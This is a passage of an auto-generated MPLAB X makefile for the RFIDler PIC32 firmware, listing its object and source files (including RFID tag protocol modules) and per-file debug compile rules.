${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o\nPOSSIBLE_DEPFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o.d ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d ${OBJECTDIR}/_ext/1019771169/SClib.o.d ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d ${OBJECTDIR}/_ext/186742988/usb_device.o.d ${OBJECTDIR}/src/indala.o.d ${OBJECTDIR}/src/main.o.d ${OBJECTDIR}/src/psk.o.d ${OBJECTDIR}/src/usb_descriptors.o.d ${OBJECTDIR}/src/util.o.d ${OBJECTDIR}/src/emulate.o.d ${OBJECTDIR}/src/ask.o.d ${OBJECTDIR}/src/fsk.o.d ${OBJECTDIR}/src/clock.o.d ${OBJECTDIR}/src/rwd.o.d ${OBJECTDIR}/src/detect.o.d ${OBJECTDIR}/src/hitagcrypto.o.d ${OBJECTDIR}/src/wiegand.o.d ${OBJECTDIR}/src/comms.o.d ${OBJECTDIR}/src/nvm.o.d ${OBJECTDIR}/src/mcp414x.o.d ${OBJECTDIR}/src/spi.o.d ${OBJECTDIR}/src/uart3.o.d ${OBJECTDIR}/src/tags.o.d ${OBJECTDIR}/src/unique.o.d ${OBJECTDIR}/src/led.o.d ${OBJECTDIR}/src/em.o.d ${OBJECTDIR}/src/hid.o.d ${OBJECTDIR}/src/read.o.d ${OBJECTDIR}/src/isr.o.d ${OBJECTDIR}/src/auto.o.d ${OBJECTDIR}/src/fdxb.o.d ${OBJECTDIR}/src/hitag.o.d ${OBJECTDIR}/src/uid.o.d ${OBJECTDIR}/src/login.o.d ${OBJECTDIR}/src/write.o.d ${OBJECTDIR}/src/auth.o.d ${OBJECTDIR}/src/q5.o.d ${OBJECTDIR}/src/vtag.o.d ${OBJECTDIR}/src/config.o.d ${OBJECTDIR}/src/select.o.d ${OBJECTDIR}/src/sdcard.o.d ${OBJECTDIR}/src/debug_pins.o.d ${OBJECTDIR}/src/awid.o.d ${OBJECTDIR}/src/analogue.o.d ${OBJECTDIR}/src/iso7816.o.d ${OBJECTDIR}/src/t55x7.o.d ${OBJECTDIR}/src/sniff.o.d ${OBJECTDIR}/src/tamagotchi.o.d ${OBJECTDIR}/src/hdx.o.d ${OBJECTDIR}/src/hitag2crack.o.d ${OBJECTDIR}/src/paxton.o.d\n\n# Object Files\nOBJECTFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o\n\n# Source Files\nSOURCEFILES=/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c\n\n\nCFLAGS=\nASFLAGS=\nLDLIBSOPTIONS=\n\n############# Tool locations ##########################################\n# If you copy a project from one host to another, the path where the  #\n# compiler is installed may be different.                             #\n# If you open this project with MPLAB X in the new host, this         #\n# makefile will be regenerated and the paths will be corrected.       #\n#######################################################################\n# fixDeps replaces a bunch of sed/cat/printf statements that slow down the build\nFIXDEPS=fixDeps\n\n.build-conf:  ${BUILD_SUBPROJECTS}\nifneq ($(INFORMATION_MESSAGE), )\n\t@echo $(INFORMATION_MESSAGE)\nendif\n\t${MAKE}  -f nbproject/Makefile-default.mk dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\n\nMP_PROCESSOR_OPTION=32MX795F512L\nMP_LINKER_FILE_OPTION=\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: assemble\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: assembleWithPreprocess\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: compile\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\n${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/FSIO.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\"     \n\t\n${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/SD-SPI.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SClib.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SClib.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SCpic32.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\"     \n\t\n${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\\ Device\\ Driver/usb_function_cdc.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/631258897\" \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\"     \n\t\n${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/186742988\" \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c     \n\t\n${OBJECTDIR}/src/indala.o: src/indala.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/indala.o.d \n\t@${RM} ${OBJECTDIR}/src/indala.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/indala.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/indala.o.d\" -o ${OBJECTDIR}/src/indala.o src/indala.c     \n\t\n${OBJECTDIR}/src/main.o: src/main.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/main.o.d \n\t@${RM} ${OBJECTDIR}/src/main.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/main.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/main.o.d\" -o ${OBJECTDIR}/src/main.o src/main.c     \n\t\n${OBJECTDIR}/src/psk.o: src/psk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/psk.o.d \n\t@${RM} ${OBJECTDIR}/src/psk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/psk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/psk.o.d\" -o ${OBJECTDIR}/src/psk.o src/psk.c     \n\t\n${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/usb_descriptors.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/usb_descriptors.o.d\" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c     \n\t\n${OBJECTDIR}/src/util.o: src/util.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/util.o.d \n\t@${RM} ${OBJECTDIR}/src/util.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/util.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/util.o.d\" -o ${OBJECTDIR}/src/util.o src/util.c     \n\t\n${OBJECTDIR}/src/emulate.o: src/emulate.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/emulate.o.d \n\t@${RM} ${OBJECTDIR}/src/emulate.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/emulate.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/emulate.o.d\" -o ${OBJECTDIR}/src/emulate.o src/emulate.c     \n\t\n${OBJECTDIR}/src/ask.o: src/ask.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/ask.o.d \n\t@${RM} ${OBJECTDIR}/src/ask.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/ask.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/ask.o.d\" -o ${OBJECTDIR}/src/ask.o src/ask.c     \n\t\n${OBJECTDIR}/src/fsk.o: src/fsk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fsk.o.d \n\t@${RM} ${OBJECTDIR}/src/fsk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fsk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fsk.o.d\" -o ${OBJECTDIR}/src/fsk.o src/fsk.c     \n\t\n${OBJECTDIR}/src/clock.o: src/clock.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/clock.o.d \n\t@${RM} ${OBJECTDIR}/src/clock.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/clock.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/clock.o.d\" -o ${OBJECTDIR}/src/clock.o src/clock.c     \n\t\n${OBJECTDIR}/src/rwd.o: src/rwd.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/rwd.o.d \n\t@${RM} ${OBJECTDIR}/src/rwd.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/rwd.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/rwd.o.d\" -o ${OBJECTDIR}/src/rwd.o src/rwd.c     \n\t\n${OBJECTDIR}/src/detect.o: src/detect.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/detect.o.d \n\t@${RM} ${OBJECTDIR}/src/detect.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/detect.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/detect.o.d\" -o ${OBJECTDIR}/src/detect.o src/detect.c     \n\t\n${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitagcrypto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitagcrypto.o.d\" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c     \n\t\n${OBJECTDIR}/src/wiegand.o: src/wiegand.c  